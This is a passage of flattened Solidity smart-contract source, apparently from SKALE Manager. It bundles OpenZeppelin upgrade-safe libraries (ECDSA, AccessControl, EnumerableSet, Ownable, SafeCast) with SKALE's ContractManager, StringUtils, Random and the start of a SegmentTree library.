timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "./utils/StringUtils.sol"; /** * @title ContractManager * @dev Contract contains the actual current mapping from contract IDs * (in the form of human-readable strings) to addresses. */ contract ContractManager is OwnableUpgradeSafe { using StringUtils for string; using Address for address; string public constant BOUNTY = "Bounty"; string public constant CONSTANTS_HOLDER = "ConstantsHolder"; string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager"; string public constant PUNISHER = "Punisher"; string public constant SKALE_TOKEN = "SkaleToken"; string public constant TIME_HELPERS = "TimeHelpers"; string public constant TOKEN_STATE = "TokenState"; string public constant VALIDATOR_SERVICE = "ValidatorService"; // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; /** * @dev Emitted when contract is upgraded. */ event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } /** * @dev Allows the Owner to add contract to mapping of contract addresses. * * Emits a {ContractUpgraded} event. * * Requirements: * * - New address is non-zero. * - Contract is not already added. * - Contract address contains code. */ function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); require(newContractsAddress.isContract(), "Given contract address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } /** * @dev Returns contract address. * * Requirements: * * - Contract must exist. */ function getDelegationPeriodManager() external view returns (address) { return getContract(DELEGATION_PERIOD_MANAGER); } function getBounty() external view returns (address) { return getContract(BOUNTY); } function getValidatorService() external view returns (address) { return getContract(VALIDATOR_SERVICE); } function getTimeHelpers() external view returns (address) { return getContract(TIME_HELPERS); } function getConstantsHolder() external view returns (address) { return getContract(CONSTANTS_HOLDER); } function getSkaleToken() external view returns (address) { return getContract(SKALE_TOKEN); } function getTokenState() external view returns (address) { return getContract(TOKEN_STATE); } function getPunisher() external view returns (address) { return getContract(PUNISHER); } function getContract(string memory name) public view returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; if (contractAddress == address(0)) { revert(name.strConcat(" contract has not been found")); } } } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* StringUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library StringUtils { using SafeMath for uint; function strConcat(string memory a, string memory b) internal pure returns (string memory) { bytes memory _ba = bytes(a); bytes memory _bb = bytes(b); string memory ab = new string(_ba.length.add(_bb.length)); bytes memory strBytes = bytes(ab); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { strBytes[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { strBytes[k++] = _bb[i]; } return string(strBytes); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title Random * @dev The library for generating of pseudo random numbers */ library Random { using SafeMath for uint; struct RandomGenerator { uint seed; } /** * @dev Create an instance of RandomGenerator */ function create(uint seed) internal pure returns (RandomGenerator memory) { return RandomGenerator({seed: seed}); } function createFromEntropy(bytes memory entropy) internal pure returns (RandomGenerator memory) { return create(uint(keccak256(entropy))); } /** * @dev Generates random value */ function random(RandomGenerator memory self) internal pure returns (uint) { self.seed = uint(sha256(abi.encodePacked(self.seed))); return self.seed; } /** * @dev Generates random value in range [0, max) */ function random(RandomGenerator memory self, uint max) internal pure returns (uint) { assert(max > 0); uint maxRand = uint(-1).sub(uint(-1).mod(max)); if (uint(-1).sub(maxRand) == max.sub(1)) { return random(self).mod(max); } else { uint rand = random(self); while (rand >= maxRand) { rand = random(self); } return rand.mod(max); } } /** * @dev Generates random value in range [min, max) */ function random(RandomGenerator memory self, uint min, uint max) internal pure returns (uint) { assert(min < max); return min.add(random(self, max.sub(min))); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Random.sol"; /** * @title SegmentTree * @dev This library implements segment tree data structure * * Segment tree allows effectively calculate sum of elements in sub arrays * by storing some amount of additional data. * * IMPORTANT: Provided implementation assumes that arrays is indexed from 1 to n. * Size of initial array always must be power of 2 * * Example: * * Array: * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * Segment tree structure: * +-------------------------------+ * | 36 | * +---------------+---------------+ * | 10 | 26 | * +-------+-------+-------+-------+ * | 3 | 7 | 11 | 15 | * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * How the segment tree is stored in an array: * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ * | 36 | 10 | 26 | 3 | 7 | 11 | 15 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ */ library SegmentTree { using Random for Random.RandomGenerator; using SafeMath for uint; struct Tree { uint[] tree; } /** * @dev Allocates storage for segment tree of `size` elements * * Requirements: * * - `size` must be greater than 0 * - `size` must be power of 2 */ function create(Tree storage segmentTree, uint size) external { require(size > 0, "Size can't be 0"); require(size & size.sub(1) == 0, "Size is not power of 